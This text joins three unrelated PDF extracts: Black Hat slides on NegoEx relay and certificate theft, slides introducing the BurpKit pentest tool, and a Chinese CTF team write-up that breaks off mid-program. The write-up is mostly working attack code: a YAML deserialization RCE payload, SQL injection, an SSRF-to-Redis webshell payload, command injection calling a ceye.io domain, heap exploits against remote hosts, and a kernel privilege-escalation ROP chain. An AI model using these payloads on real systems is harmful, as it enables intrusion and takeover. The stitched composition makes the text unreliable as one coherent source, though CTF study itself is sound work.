Demo #BHUSA @BlackHatEvents PRT To Cert #BHUSA @BlackHatEvents PRT To Cert #BHUSA @BlackHatEvents Pass the certificate • Possible by requesting new certificate from PRT or by stealing a certificate from the certificate store on computer #BHUSA @BlackHatEvents Hunting #BHUSA @BlackHatEvents Windows events Windows event 4624 can be leveraged for hunting of NegoEx logins #BHUSA @BlackHatEvents Traffic analysis Traffic analysis tools like Zeek can parse NegoEx and extract the relevant data Serial Number Subject #BHUSA @BlackHatEvents Mitigations • SMB signing #BHUSA @BlackHatEvents Tools • NegoEx relay tool • Azure AD certificate requestor • Authentication tool with Azure AD certificate • Wireshark dissector for NegoEx • Zeek build that dissect NegoEx Kerberos packets #BHUSA @BlackHatEvents Takeaways • Patching is not enough • Usage of SMB signing is a must • Hunt hunt hunt @Rubin_mor Thank you Questions?
pdf
BURPKIT Using WebKit to Own the Web 1 2015-07-15 Presented by: Nadeem Douba INTRODUCTION • Nadeem Douba • Founder of Red Canari, Inc. • Based out of Ottawa, ON. • Hacker • Interests: • Exploiting stuff • Building hacking tools • Prior work: • Sploitego (presented at DEF CON XX) • Canari (used by Fortune 100s) • PyMiProxy (used by Internet Archive) BurpKit - Using WebKit to Own the Web 2 2015-07-15 OVERVIEW • WebKit • What is it? • Why use it? • How can we use it? • BurpKit • Design Considerations • Implementation • Demos! • Conclusion • Questions? 2015-07-15 BurpKit - Using WebKit to Own the Web 3 THE WEB PEN-TESTER’S CONUNDRUM • Today’s web applications are complex beasts • Heavy use of JavaScript for: • Rendering pages • Rendering page elements • Performing web service requests • ¿But our security tools are still scraping HTML!? 2015-07-15 BurpKit - Using WebKit to Own the Web 4 OUR TOOLKIT 2015-07-15 BurpKit - Using WebKit to Own the Web 5 • Reconnaissance & Scanning: • Most tools (nikto, cewl, etc.) just scrape HTML • Attack: • BurpSuite Pro/Community • Lobo-based Renderer tab (Burp’s neglected child) ! • No JavaScript/HTML5 support • Charles & Zed are just proxies • WebSecurify’s Proxy.app only has a web view MODERN TOOLKIT REQUIREMENTS 2015-07-15 BurpKit - Using WebKit to Own the Web 6 • Web penetration testing tools that: • Have modern web browser capabilities • Parse and interpret JavaScript • Dynamically render and inspect content • Most importantly: • Our tools need to be able to interact with the DOM! WEBKIT What is it good for? - Lots of things! 2015-07-15 BurpKit - Using WebKit to Own the Web 7 WHAT IS WEBKIT? “WebKit is a layout engine software component for rendering web pages in web browsers. It powers Apple's Safari web browser, and a fork of the project is used by Google's Chrome web browser.” - Wikipedia (https://en.wikipedia.org/wiki/WebKit) 2015-07-15 BurpKit - Using WebKit to Own the Web 8 Image credit: Smashing Magazine (UN)OFFICIAL DEFINITION… 2015-07-15 BurpKit - Using WebKit to Own the Web 9 WEBKIT API • Made up of two major components. • JavaScriptCore - responsible for everything JavaScript: • JavaScript/JSON parsing & execution • Garbage collection • Debugger • Etc. • WebCore – responsible for everything else: • Resource loading • Content parsing & rendering • Web Inspector • Etc. 2015-07-15 BurpKit - Using WebKit to Own the Web 10 KNOWN IMPLEMENTATIONS & FORKS 2015-07-15 BurpKit - Using WebKit to Own the Web 11 • Apple’s Safari • Android’s web browser • Nokia QT • JavaFX WebView • WebKitGTK+ • PhantomJS • Google Chromium • Node WebKit • Many more… (https://trac.webkit.org/wiki/Applicatio ns%20using%20WebKit) Image credit: http://bitergia.com/public/reports/webkit/2013_01/ WHY USE WEBKIT? Pros "Widespread adoption "Lots of language support: Java, Python, C/C++, JavaScript, etc. "Portable across many platforms "Can interact with the DOM and JS Engine. Cons ✗ Your code will be susceptible to the same bugs that plague modern browsers ✗ Tools will be hungrier for system resources (i.e. RAM, CPU). 2015-07-15 BurpKit - Using WebKit to Own the Web 12 HOW CAN YOU USE WEBKIT? Language • JavaScript (NodeJS) • Python • JAVA • Swift/ObjC • Ruby • C/C++ Libraries • Node WebKit • WebKitGTK+, PyQt • FX WebView, Qt Jambi, JxBrowser • UIWebView • WebKitGTK+, Qt • Chromium, WebKit 2015-07-15 BurpKit - Using WebKit to Own the Web 13 BURPKIT How we used WebKit. 2015-07-15 BurpKit - Using WebKit to Own the Web 14 + = WHAT IS BURPKIT? • BurpKit = BurpSuite + WebKit • Used JavaFX’s implementation of WebKit • WebView & Debugger • WebEngine • Provides a real rendering tab (that’s right… no more lobo) • Has a bidirectional bridge between BurpSuite & WebKit! • And more! BurpSuite Extender- API Java4based- WebKit API Rendering- engine 2015-07-15 BurpKit - Using WebKit to Own the Web 15 BurpKit DESIGN DECISIONS • Chose to go with JavaFX over JxBrowser – why? • Redistribution: • JavaFX comes with Java 1.8+. • JxBrowser needs bundling (>250MB) • Cost: • JavaFX is FREE! • JxBrowser is not! • API: • JavaFX has a cleaner API • JxBrowser’s is a bit ¿clunky? 2015-07-15 BurpKit - Using WebKit to Own the Web 16 JAVAFX: PROS AND CONS Pros "Easy-to-use & clean API "Complete JavaScript bridge "Portable across many platforms "Leverages the Java URL framework (hookable) "Does provide debugging/profiling information (with some hacking) "Bundled with Java 1.8+ Cons ✗ API is incomplete – under development ✗ No GUI components for WebInspector and friends ✗ Little documentation on advanced features (must look at code) ✗ Still a bit buggy 2015-07-15 BurpKit - Using WebKit to Own the Web 17 IMPLEMENTATION Nerd Rage 2015-07-15 BurpKit - Using WebKit to Own the Web 18 CHALLENGES • Burp uses Swing for its GUI • WebView and WebEngine need to run on FX event loop • WebEngine does not have a loadContentWithBaseUrl(content,6url) method - only has: • loadContent(content,6type); and • load(url) • BurpSuite had to be able to interact with JavaScript and vice-versa 2015-07-15 BurpKit - Using WebKit to Own the Web 19 CHALLENGE: SWING/FX INTEROP • Solution: javafx.embed.swing.JFXPanel • Gotchas: • Must avoid interweaving blocking calls • i.e. Swing # JavaFX # Swing = ¡DEADLOCK! • Always check if you’re on the right event loop! • Workarounds: • Eagerly initializing resources sometimes necessary • Lots of wrapping code! 2015-07-15 BurpKit - Using WebKit to Own the Web 20 CHALLENGE: LOADING CONTENT WITH A BASE URL 2015-07-15 BurpKit - Using WebKit to Own the Web 21 Credit: http://media.techtarget.com/tss/static/articles/content/dm_protocolHandlers/j ava_protocol.pdf • Why? • Required to render responses for repeated requests • Solution: hook java.net.URL protocol handling framework • WebView uses framework to issue HTTP(S) requests • Challenge: • Our new handlers would have to support both live and repeated requests. CHALLENGE: REPEATER 2015-07-15 BurpKit - Using WebKit to Own the Web 22 • Background: did not want to reissue a live request because content may change. • Solution: overrode HTTP(s) handlers and used User4Agent to “tag” repeated requests. • If User4Agent contains SHA1 hash, give URL handler fake output stream • Else, continue with live request • See BurpKit Java package com.redcanari.net.http for code. CHALLENGE: JAVASCRIPT BRIDGE • Background: need to be able to query and manipulate DOM • Solution: inject JAVA objects into JS engine! • Gotchas: • Funky reflection algorithm in WebEngine prevented straight-forward JAVA object interaction. • Lots of deadlock scenarios • Workarounds: • Wrapper classes galore! • Eager instantiation of Swing components. 2015-07-15 BurpKit - Using WebKit to Own the Web 23 THE FINAL PRODUCT Google: Before & After 2015-07-15 BurpKit - Using WebKit to Own the Web 24 WELL? 2015-07-15 BurpKit - Using WebKit to Own the Web 25 BURPKIT DEMOS There’s lots to see! 2015-07-15 BurpKit - Using WebKit to Own the Web 26 DEMO: GUI WALKTHROUGH Feature set 2015-07-15 BurpKit - Using WebKit to Own the Web 27 XSS TRACKER Tainting applications 2015-07-15 BurpKit - Using WebKit to Own the Web 28 DEMO: DOM INTERACTION Analyzing Twitter Followers 2015-07-15 BurpKit - Using WebKit to Own the Web 29 DEMO: BURP EXTENSIONS Proxy Listeners, Message Editors, and Context Menus 2015-07-15 BurpKit - Using WebKit to Own the Web 30 CONCLUSION • Let’s stop scraping and let’s start DOMinating the web! • Our security tools need to evolve just like the web. • We have the tools/libraries at our disposal • Please contribute your ideas and code to BurpKit! • We need to make it the standard! 2015-07-15 BurpKit - Using WebKit to Own the Web 31 KUDOS • My Lovely Wife $ • Justin Seitz • http://automatingosint.com/ • Dirk Lemmermann • http://dlsc.com/ • Tomas Mikula • https://github.com/TomasMikula/Ri chTextFX • Java/JavaFX team • The Noun Project • All the contributors! 2015-07-15 BurpKit - Using WebKit to Own the Web 32 ¿QUESTIONS? We aim to please… 2015-07-15 BurpKit - Using WebKit to Own the Web 33
pdf
祥云杯 Nu1L MISC 进制反转 RAR 伪加密,改一下 header,解压得到一个音频,根据提示对 bit 进行翻转 with open('flag.wav','rb') as f: content = f.read() res = [] for c in content: res.append((~c)&0xff) with open('output.wav','wb') as f: f.write(bytes(res)) 音频翻转:https://audioalter.com/reverse/ 在线识别:https://www.acrcloud.com/identify-songs-music-recognition-online/ xixixi binwalk 一下看到有个 png 头,但文件不完整。再翻一翻找到两个 python 脚本,参考脚本还 原图片即可 import struct # with open('new.vhd', 'rb') as f: # content = f.read() # res = content.split(b'\x00'*128) # rres = [] # for i in res: # if i: # rres.append(i.strip('\x00')) # parts = [] # for idx, val in enumerate(rres): # if 'IHDR' in val: # print(idx, len(val)) # if len(val) > 0 and len(val) % 512 == 0 and val[-1] == '\xff': # parts.append(val.rstrip('\xff')) # print(len(parts)) # print(rres[73]) # print('='*50) # print('='*50) # print(rres[74]) class FAT32Parser(object): def __init__(self, vhdFileName): with open(vhdFileName, 'rb') as f: self.diskData = f.read() self.DBR_off = self.GetDBRoff() self.newData = ''.join(self.diskData) def GetDBRoff(self): DPT_off = 0x1BE target = self.diskData[DPT_off+8:DPT_off+12] DBR_sector_off, = struct.unpack("<I", target) return DBR_sector_off * 512 def GetFAT1off(self): target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10] FAT1_sector_off, = struct.unpack("<H", target) return self.DBR_off + FAT1_sector_off * 512 def GetFATlength(self): target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28] FAT_sectors, = struct.unpack("<I", target) return FAT_sectors * 512 def GetRootoff(self): FAT_length = self.GetFATlength() FAT2_off = self.GetFAT1off() + FAT_length return FAT2_off + FAT_length def Cluster2FAToff(self, cluster): FAT1_off = self.GetFAT1off() return FAT1_off + cluster * 4 def Cluster2DataOff(self, cluster): rootDir_off = self.GetRootoff() return rootDir_off + (cluster - 2) * 512 output = open('flag.png', 'wb') parser = FAT32Parser('new.vhd') data_off = 0x027bae00 data_length = 9728 data_sector = parser.diskData[data_off:data_off+data_length].rstrip('\xff') cluster_bytes = data_sector[-4:] output.write(data_sector) cluster = struct.unpack("<I", cluster_bytes)[0] for _ in range(57): fat_off = parser.Cluster2FAToff(cluster) data_length = 0 while True: tmp = parser.diskData[fat_off:fat_off+4] if tmp == '\xff\xff\xff\x0f': data_length += 512 fat_off += 4 else: break data_off = parser.Cluster2DataOff(cluster) data_sector = parser.diskData[data_off:data_off+data_length].rstrip('\xff') key = cluster & 0xfe decrypted_data = '' for i in data_sector: decrypted_data += chr(ord(i) ^ key) cluster_bytes = decrypted_data[-4:] output.write(decrypted_data) cluster = struct.unpack("<I", cluster_bytes)[0] output.close() Web profile system /uploads/../app.py 读到源码 用 SECRET_KEY 伪造 session 绕过验证 yaml 反序列化 RCE python3 flask_session_cookie_manager3.py encode -s Th1s_is_A_Sup333er_s1cret_k1yyyyy -t '{"filename":"test.yml","priviledge":"elite"}' eyJmaWxlbmFtZSI6InRlc3QueW1sIiwicHJpdmlsZWRnZSI6ImVsaXRlIn0.X7oK1Q.b9SGCKpOuDDmD0BEu0he Ua97qU8 exp: !!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "\x5f\x5fimport\x5f\x5f('os')\x2esystem('/readflag \x3e\x3e/proc/self/cwd/uploads/wwww')" ]]] 访问 wwww 即可。 easyzzzz 注入 admin 密码:https://github.com/h4ckdepy/zzzphp/issues/1 form/index.php?module=getjson table=gbook&where[]=1=1 union select password from zzz_user&col=1 https://xz.aliyun.com/t/7414 新版本后台模版代码执行有新的过滤,{if:1=1);echo `cat /flag`;//}{end if} 绕过即可 doyouknowssrf ssrf + urllib crlf 打 redis 写 shell url=http://@127.0.0.1:[email protected]/%3f%75%72%6c%3d%68%74%74%70% 3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%2f%3f%61%3 d%31%25%32%30%48%54%54%50%2f%31%2e%31%25%30%64%25%30%61%58%2 d%69%6e%6a%65%63%74%65%64%3a%25%32%30%68%65%61%64%65%72%61%2 5%30%64%25%30%61%25%32%41%31%25%30%44%25%30%41%25%32%34%38% 25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41% 25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41 %73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%3 1%25%30%44%25%30%41%25%32%34%33%31%25%30%44%25%30%41%25%30% 41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74 %65%6d%25%32%38%25%32%34%5f%47%45%54%25%35%42%25%32%37%63%25 %32%37%25%35%44%25%32%39%25%33%42%25%33%46%25%33%45%25%30%4 1%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41% 25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25% 30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30 %41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%4 1%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f %68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41 %25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25 %30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%3 0%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%6 1%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73% 68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30% 44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30 %44%25%30%41%25%30%41 easygogogo 文件上传查看有签名,但可以在 filename 处../../指定上传位置由程序帮忙签名。由于是 root 起的,大多数文件都会覆盖读不到,但可以读到/proc/self/environ 和 cmdline 尝试读 docker 1 号进程/proc/1/environ 得到 flag flaskbot 输入 nan 赢游戏,用户名 ssti 读 log 文件拿到 pin,console 直接 rce 读 flag 即可 Command http://eci-2ze4i20uld1wbe8tkxu7.cloudeci1.ichunqiu.com/ /?url=a.iz99lj.ceye.io%0aecho%09ZmxhZw==|base64%09-d|xargs%09- I%09x%09find%09/%09-name%09"x????" url=127.0.0.1%0aecho%09L2V0Yy8uZmluZGZsYWcvZmxhZy50eHQ=|base64%09- d|xargs%09sed%09""%09 Pwn garden from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' context.aslr = False def add(p, idx, data): p.recvuntil(b'>>') p.sendline(b'1') p.recvuntil(b'tree index?') p.sendline(str(idx)) p.recvuntil(b'tree name?') p.send(data) def remove(p, idx): p.recvuntil(b'>>') p.sendline(b'2') p.recvuntil(b'tree index?') p.sendline(str(idx)) def show(p, idx): p.recvuntil(b'>>') p.sendline(b'3') p.recvuntil(b'tree index?\n') p.sendline(str(idx)) def steal(p, idx): p.recvuntil(b'>>') p.sendline(b'5') p.recvuntil(b'which tree do you want to steal?') p.sendline(str(idx)) def malloc_0x20(p): p.recvuntil(b'>>') p.sendline(b'6') from docker_debug import * debug_env = DockerDebug('ubuntu-1904') attach = debug_env.attach process = debug_env.process def main(): # program path in docker libc = ELF('./libc-2.29.so', checksec=False) #p = process('./garden') p = remote('8.131.69.237', 32452) for i in range(9): add(p, i, str(i)*100) for i in range(6): remove(p, i) remove(p, 8) steal(p, 7) show(p, 7) libc_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 0x1e4ca0 log.success("libc_addr: 0x{:08x}".format(libc_addr)) libc.address = libc_addr remove(p, 6) malloc_0x20(p) for i in range(6): add(p, i, str(i)*100) add(p, 6, b'/bin/sh\x00') add(p, 8, b'888') for i in range(5): remove(p, i) remove(p, 7) remove(p, 8) add(p, 8, b'a'*0xe0 + p64(libc.sym['__free_hook'])) add(p, 0, b'0000') add(p, 1, p64(libc.sym['system'])) remove(p, 6) p.interactive() if __name__ == '__main__': main() 把嘴闭上 from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' context.aslr = False def fastbin(p, l, data): p.recvuntil(' > ') p.sendline('1') p.recvuntil('?') p.recvuntil(' > ') p.sendline(str(l)) p.recvuntil('?') p.recvuntil(' > ') p.send(data) def delete_buf(p): p.recvuntil(' > ') p.sendline('2') def malloc_opt(p, op, value): p.recvuntil(' > ') p.sendline('3') p.recvuntil(b'\xbc\x9f') p.recvuntil(' > ') p.sendline(str(op)) p.recvuntil(b'\xbc\x9f') p.recvuntil(' > ') p.sendline(str(value)) def malloc_buf(p, l, data): p.recvuntil(' > ') p.sendline('4') p.recvuntil(b'?') p.recvuntil(' > ') p.sendline(str(l)) p.recvuntil(b'?') p.recvuntil(' > ') p.send(data) M_TRIM_THRESHOLD = -1 from docker_debug import * debug_env = DockerDebug('ubuntu-1604') process = debug_env.process attach = debug_env.attach def main(): # program path in docker libc = ELF('./libc-2.23.so', checksec=False) #p = process('./ba_zui_bi_shang') p = remote('112.126.71.170', 23548) p.recvuntil(': ') addr = int(p.recvuntil('\n', drop=True), 16) - libc.sym['puts'] log.success('libc: 0x{:08x}'.format(addr)) libc.address = addr p.recvuntil('?') p.recvuntil(' > ') p.sendline(str(0x4ff)) p.recvuntil('?') p.recvuntil(' > ') p.send(b'a'*0x4ff) fastbin(p, 0x1f, b'aaaaa') delete_buf(p) malloc_opt(p, 1, 1) # 触发 malloc_consolidate fastbin(p, 0x1f, b'aaaaa') # last_remainder malloc_opt(p, -2, 1) malloc_buf(p, 0x481, b'\x00') malloc_buf(p, 0x401, b'\x00') malloc_buf(p, 0x401, b'\x00') malloc_buf(p, 0x4ff, b'\x00') malloc_buf(p, 0x4ff, b'\x00') malloc_buf(p, 0x4ff, b'\x00') payload = b'/bin/sh\x00'.ljust(0x40, b'\x00') payload += p64(libc.sym['system']) malloc_buf(p, 0x4ff, payload) delete_buf(p) p.interactive() if __name__ == '__main__': main() 影流之主 from pwn import * from time import sleep # s = process("./ying_liu_zhi_zhu") s = remote("112.126.71.170","45123") def add(): sleep(0.1) s.sendline("1") def free(idx): sleep(0.1) s.sendline("2") sleep(0.1) s.sendline(str(idx)) def edit(idx,buf): sleep(0.1) s.sendline("3") sleep(0.1) s.sendline(str(idx)) sleep(0.1) s.send(buf) def show(idx): sleep(0.1) s.sendline("4") sleep(0.1) s.sendline(str(idx)) def glob(pattern): sleep(0.1) s.sendline("5") sleep(0.1) s.sendline(pattern) add()#0 add()#1 free(0) glob("/*") show(0) libc = s.recvuntil("\x7f")[-6:]+"\x00\x00" libc = u64(libc)-0x3c4b78 success(hex(libc)) add()#2 malloc_hook = libc+0x3c4aed one = libc+0xf0364 free(2) edit(2,p64(malloc_hook)) add()#3 add()#4 edit(4,'A'*19+p64(one)) free(3) free(3) free(3) # gdb.attach(s,"b malloc\nc") s.interactive() # 0x45226 execve("/bin/sh", rsp+0x30, environ) # constraints: # rax == NULL # 0x4527a execve("/bin/sh", rsp+0x30, environ) # constraints: # [rsp+0x30] == NULL # 0xf0364 execve("/bin/sh", rsp+0x50, environ) # constraints: # [rsp+0x50] == NULL # 0xf1207 execve("/bin/sh", rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL babypwn # -*- coding: utf-8 -*- from pwn import * r = lambda x: p.recvuntil(x,drop=True) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y : p.sendlineafter(x,y) # p = process('./pwn') p = remote('8.131.69.237', 52642) # l = ELF('/lib/x86_64-linux-gnu/libc.so.6') l = ELF('./libc-2.23.so') def init(): sl('choice:\n',str(1)) def create(): sl('choice:\n',str(2)) def add(sz): sl('choice:\n',str(3)) sl('size:\n', str(sz)) def sets(cnt): sl('choice:\n',str(4)) s('content:\n', cnt) def show(): sl('choice:\n',str(5)) def size(): sl('choice:\n',str(6)) def exit(): sl('choice:\n',str(7)) init() create() # leaking libc add(0x60) show() r('show:\n') p.recv(8) heap = u64(p.recv(8))-0x11cf0 log.info("@ heap: "+hex(heap)) init() show() r('show:\n') l.address = u64(p.recv(8))-0x3c4b78 log.info("@ libc: "+hex(l.address)) system = l.sym['system'] log.info("@ system: "+hex(system)) binsh = next(l.search('/bin/sh')) log.info("@ binsh: "+hex(binsh)) one = l.address+0xf1207 log.info("@ one: "+hex(one)) # Find a strange add(0x88) sets(p64(heap+0x11c50)+p64(0)+p64(0)+p64(0)+p64(0x401350)+3*p64(0)+p64(one)) size() p.interactive() babydev #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> #include <pthread.h> #define pop_rdi 0xffffffff813ead2c #define prepare_kernel_cred 0xffffffff8108d690 #define xchg_rax_rdi 0xffffffff81768ef2 #define commit_creds 0xffffffff8108d340 #define swapgs 0xffffffff81c00eae #define iretq 0xffffffff81025a56 int fd; size_t data[0x4000]; size_t mydata; size_t stack; unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_status() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); } void shell() { printf("%d\n",getuid()); system("/bin/sh"); } int main() { printf("%d\n",getuid()); save_status(); signal(SIGSEGV, shell); signal(SIGTRAP, shell); fd = open("/dev/mychrdev", O_WRONLY); ioctl(fd,0x1111,data); mydata=data[4]; stack=( data[2] | 0xffffc90000000000) -0x10; printf("[+] mydata at %p\n",mydata); printf("[+] stack at %p\n",stack); write(fd,data,0xf000); llseek(fd,0x100,0); write(fd,data,0x10000); llseek(fd,0x10001,0); data[0]=stack-mydata; data[1]=stack-mydata+0x10000; write(fd,(char *)data+1,0x10000); size_t off=stack&0xff; llseek(fd,off,0); int i=0; data[i++]=pop_rdi; data[i++]=0; data[i++]=prepare_kernel_cred; data[i++]=xchg_rax_rdi; data[i++]=commit_creds; data[i++]=swapgs; data[i++]=0x246; data[i++]=0; data[i++]=iretq; data[i++]=&shell; data[i++]=user_cs; data[i++]=user_eflags; data[i++]=user_sp; data[i++]=user_ss; write(fd,data,0x100); } Beauty_Of_ChangChun from pwn import * context.log_level="debug" def cmd(ch): p.sendlineafter("ry\n",str(ch)) def add(size): cmd(1) p.sendlineafter(":\n",str(size)) def delete(index): cmd(2) p.sendlineafter(":\n",str(index)) def edit(index,note): cmd(3) p.sendlineafter(":\n",str(index)) p.sendafter(":\n",note) def show(index): cmd(4) p.sendlineafter(":\n",str(index)) #p=process("./pwn-5") p=remote("112.126.71.170",43652) p.recvuntil("e\n") gift=int(p.recvuntil("\n"),16) info(hex(gift)) for i in range(7): add(0xf9) delete(0) add(0x80) delete(0) add(0xf9) add(0x80) add(0x100) delete(1) add(0x90) delete(1) delete(2) show(2) p.recvuntil("see\n") libc=u64(p.recv(6)+"\x00\x00") print hex(libc) add(0xf9) delete(0) delete(1) show(2) #edit(2,p64()+p64()) p.recvuntil("see\n") heap=u64(p.recv(6)+"\x00\x00") print hex(heap) cmd(666) cmd(5) p.send("aaaaa") edit(2,p64(heap)+p64(gift-0x10)) add(0xf9) edit(2,p64(libc+0x100)) cmd(5) p.sendlineafter("idx\n",str(2)) p.interactive() RE re1 通过逆向发现 flag 的每一位都采用相同的加密方式,然后会在函数末尾判断,所以直接写一 个 gdb 脚本爆破明文对应密文的关系即可 gdb 脚本: b *(0x8000000 + 0x18096) python f = open('log','w+') set $ipx = 0x20 r < test_input while ($ipx < 0x80) set *(char*)$rdi = $ipx python f.write(gdb.execute('p $ipx', to_string=True)) set $pc=$rebase(0x810) c python s = gdb.execute('x/bx $rdi', to_string=True) python f.write(s) python f.flush() set $ipx=$ipx+1 end s = {32: 0xd8,33: 0xd9,34: 0xda,35: 0xdb,36: 0xdc,37: 0xdd,38: 0xde,39: 0xdf,40: 0xe0,41: 0xe1,42: 0xe2,43: 0xe3,44: 0xe4,45: 0xe5,46: 0xe6,47: 0xe7,48: 0xe8,49: 0xe9,50: 0xea,51: 0xeb,52: 0xec,53: 0xed,54: 0xee,55: 0xef,56: 0xf0,57: 0xf1,58: 0xf2,59: 0xf3,60: 0xf4,61: 0xf5,62: 0xf6,63: 0xf7,64: 0xf8,65: 0xf9,66: 0xfa,67: 0xfb,68: 0xfc,69: 0xfd,70: 0xfe,71: 0xff,72: 0x00,73: 0x01,74: 0x02,75: 0x03,76: 0x04,77: 0x05,78: 0x06,79: 0x07,80: 0x08,81: 0x09,82: 0x0a,83: 0x0b,84: 0x0c,85: 0x0d,86: 0x0e,87: 0x0f,88: 0x10,89: 0x11,90: 0x12,91: 0x13,92: 0x14,93: 0x15,94: 0x16,95: 0x17,96: 0x18,97: 0x19,98: 0x1a,99: 0x1b,100: 0x1c,101: 0x1d,102: 0x1e,103: 0x1f,104: 0x20,105: 0x21,106: 0x22,107: 0x23,108: 0x24,109: 0x25,110: 0x26,111: 0x27,112: 0x28,113: 0x29,114: 0x2a,115: 0x2b,116: 0x2c,117: 0x2d,118: 0x2e,119: 0x2f,120: 0x30,121: 0x31,122: 0x32,123: 0x33,124: 0x34,125: 0x35,126: 0x36,127: 0x37} enc_flag = [0x0EB,0x0F1,0x19,0x0E8,0x1E,0x1E,0x0F0,0x0EC,0x0EF,0x1E,0x0E9,0x1E,0x0EC,0x0EC,0x0E8,0x0EC,0x19, 0x19,0x0EE,0x1B,0x0EF,0x0EF,0x0EC,0x0EA,0x1C,0x0EA,0x0E8,0x0EB,0x0EE,0x0EB,0x1D,0x0F1] for i in enc_flag: for j in xrange(0x20,0x80): if s[j] == i: res += chr(j) break lre #include <iostream> #include <string> #include <map> #include <fstream> #include <vector> #include <memory.h> using namespace std; class LZW_Decompressor { public: LZW_Decompressor(); ~LZW_Decompressor(){}; size_t get_max_dictionary_size() { return Max_DICTIONARY_SIZE; } std::string get_output() { return output; } std::map<int, std::string> get_dictionary() { return dictionary; } void decompress(vector<int> input_buffer); void add_dictionary_entry( std::string sequence ); void initialise_dictionary(); void reinitialise(); protected: private: std::map<int, std::string> dictionary; std::string output, prev_sequence; size_t Max_DICTIONARY_SIZE = 4096; // Maximum of 2^12 codes size_t BUFFER_SIZE = 900; // Buffer has to be multiple of 3 }; LZW_Decompressor::LZW_Decompressor() { // Initialise dictionary entries initialise_dictionary(); } void LZW_Decompressor::add_dictionary_entry( std::string sequence ) { if( dictionary.size() >= Max_DICTIONARY_SIZE ) { initialise_dictionary(); } dictionary.insert( std::pair<int, std::string>( dictionary.size(), sequence ) ); } void LZW_Decompressor::initialise_dictionary() { dictionary.clear(); for( int i=0; i<256; i++ ) { dictionary.insert( std::pair<int,std::string>( i, std::string( 1, (uint8_t) i ) ) ); } dictionary.insert( std::pair<int,std::string>( 0x100, std::string( 1, (uint8_t) 'f' ) ) ); dictionary.insert( std::pair<int,std::string>( 0x101, std::string( 1, (uint8_t) 'u' ) ) ); dictionary.insert( std::pair<int,std::string>( 0x102, std::string( 1, (uint8_t) 'k' ) ) ); } void LZW_Decompressor::reinitialise() { initialise_dictionary(); output = ""; prev_sequence = ""; } void LZW_Decompressor::decompress(vector<int> input_buffer) { std::string current_code, next_code, current_sequence, next_sequence, new_entry, decoded_input; size_t input_size = input_buffer.size(); prev_sequence = dictionary.at( input_buffer[0] ); decoded_input = prev_sequence; for( size_t i=1; i<input_size; i += 1) { // Split input into 24 bit sections ( pairs of codes ) equivalent to 3 characters uint32_t code_pair = input_buffer[i]; try { // Decode the 12 bit codes using the dictionary next_sequence = dictionary.at( code_pair ); }catch( std::out_of_range e ) { // If the current code is unrecognised use first letter from previous code appended to the previous s equence next_sequence = prev_sequence + prev_sequence[0]; } // Add first sequence in code pair and first letter from the second sequence in code pair to dictionary new_entry = prev_sequence + next_sequence[0]; add_dictionary_entry( new_entry ); // Set the second sequence as the previous sequence, move on to the next code pair prev_sequence = next_sequence; decoded_input += prev_sequence; // Add the first decoded sequence to the output } // Add the output from the input buffer to the final output output += decoded_input; } unsigned int decode_tmp[2] = {0}; unsigned int* decode_once(unsigned char *aa) { unsigned char a[4] = {aa[2],aa[1],aa[0],0}; unsigned int * t = (unsigned int *)a; unsigned int b = *t; unsigned int t1 = (b >> 16) | ((b & 0xf0) << 4); unsigned int t2 = ((b >> 8)&0xff) | ((b & 0x0f) << 8); decode_tmp[0] = t1; decode_tmp[1] = t2; return decode_tmp; } int main() { streampos size; unsigned char * memblock = new unsigned char [3]; ifstream file("../out.enc", ios::in|ios::binary|ios::ate); if (!file.is_open()) { cout << "Unable to open file"; return 0; } size = file.tellg(); unsigned int *decode1 = new unsigned int[size]; unsigned int decode_size = 0; file.seekg(0, ios::beg); unsigned int read_count = 0; while (!file.eof()) { file.read((char*)memblock, 3); decode_once(memblock); decode1[decode_size] = decode_tmp[0]; decode1[decode_size + 1] = decode_tmp[1]; decode_size += 2; } file.close(); delete[] memblock; vector<int> tmp; vector<vector<int>> bufs; for(int i=0;i<decode_size;i++) { if(decode1[i] == 0x101) { continue; } else if (decode1[i] == 0x100 ) { bufs.push_back(tmp); tmp.clear(); continue; } else if(decode1[i] == 0x102) { bufs.push_back(tmp); tmp.clear(); break; } tmp.push_back(decode1[i]); } ofstream file2("out.bmp", ios::out|ios::binary); if (!file2.is_open()) { cout << "Unable to open out.bmp file"; return 0; } cout << bufs.size() << "," << decode_size << "," << size << endl; for(auto i = bufs.begin();i!= bufs.end();i++) { LZW_Decompressor d = LZW_Decompressor(); d.decompress(*i); string s = d.get_output(); file2.write(s.c_str(),s.length()); } file2.close(); return 0; 